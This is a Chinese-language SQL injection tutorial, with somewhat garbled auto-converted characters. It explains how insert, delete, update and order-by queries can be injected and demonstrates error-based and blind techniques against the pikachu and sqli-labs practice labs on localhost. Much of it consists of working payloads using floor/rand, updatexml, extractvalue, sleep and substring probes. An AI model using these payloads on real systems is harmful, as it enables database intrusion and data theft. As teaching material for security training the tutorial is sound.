sql注入之查詢方式及報錯注入

當進行sql注入時,有不少注入會出無回顯的狀況,其中不回顯的緣由多是sql語句查詢方式的問題致使的,這個時候咱們須要用到相關的報錯或盲注進行後續操做,同時做爲手工注入時,提早了解或預知器sqkl語句大概寫法也能更好的選擇對應的注入語句。php

# SQL查詢方式

咱們能夠經過如下查詢方式與網站應用的關係,注入點產生的地方或應用猜想到對方的sql查詢方式。前端

1.select查詢語句

在網站應用中進行數據顯示查詢等操做sql

例如:數據庫

select * from news where id=$id

2.insert插入數據

在網站應用中進行用戶註冊、添加等操做緩存

例如:網站

insert into news(iiiiiiiid,url,text) values(1,'xx','$t')

 pikachu靶場操做:url

添加註冊信息:spa

 提交抓包:3d

 構造payload進行注入:code

username=123' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

可爆出該網站的數據庫名:

或者:

username=123' or updatexml(1,concat(0x7e,(version())),0) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

 再或者:

username=123' or extractvalue(1,concat(0x7e,database())) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

3.delete刪除數據

後臺管理裏面刪除文章刪除用戶等操做

例如:

delece from news where id=$id

pikachu靶場操做:

 抓包:

 構造payload:

/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

 或者:

/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

或者:

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

4.update更新數據

會員或後臺中心數據同步或緩存等操做

例如:

update user set pwd='$id' where id=2 and username='admin'

pikachu靶場操做:

登陸後修改我的信息,提交時抓包:

 構造payload:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or(select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=sss.com&submit=submit

 或者:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or updatexml(1,concat(0x7e,(version())),0) or'&email=sss.com&submit=submit

 或者:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or extractvalue(1,concat(0x7e,user())) or'&email=sss.com&submit=submit

 5.order by排序語句

通常結合表格或列名進行數據排序操做

例如:

select * from news order by $id
select id,name,price from news orer by $order

#sql注入報錯盲注

盲注就是在注入過程當中,獲取數據不能回顯至前端頁面。此時,咱們須要 利用一些方法進行判斷或者嘗試,這個方法稱之爲盲注。

like 'ro%'                            #判斷ro或ro·····是否成立
regexp '^xx[a-z]'               #匹配xx及xx····等
if(條件,50)                     #條件成立返回5,不然返回0
sleep(5)                             #SQL語句延時5秒後執行
mid(a,b,c)                          #從位置b開始,截取a字符串的c位
substr(a,b,c)                      #從b位置開始,截取字符串a的c長度
left(database(),1),database()    #left(a,b)從左側截取a的前b位
length(database())=8         #判斷數據庫database()名的長度
ord=ascii ascii(x)=97          #判斷x的ascii碼是否等於97            

咱們能夠講盲注分爲如下三類:

1.基於布爾的sql盲注(邏輯判斷)

regexp,like,ascii,ord,mid

sqlilabs靶場第5關演示

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(version(),1)=5 --+

猜想數據庫版本的第一位爲5,正確不報錯

2.基於時間的sql盲注(延時判斷)

if,sleep

sqlilabs靶場第2關演示

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(database()='security',5,0)) --+

提交後5秒後返回:

 猜想數據庫名長度:

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(length(database())=8,5,0)) --+

3.基於報錯的sql盲注(報錯回顯)

floor,updatexml,extractvalue

演示見上面的pikachu靶場

相關文章
相關標籤/搜索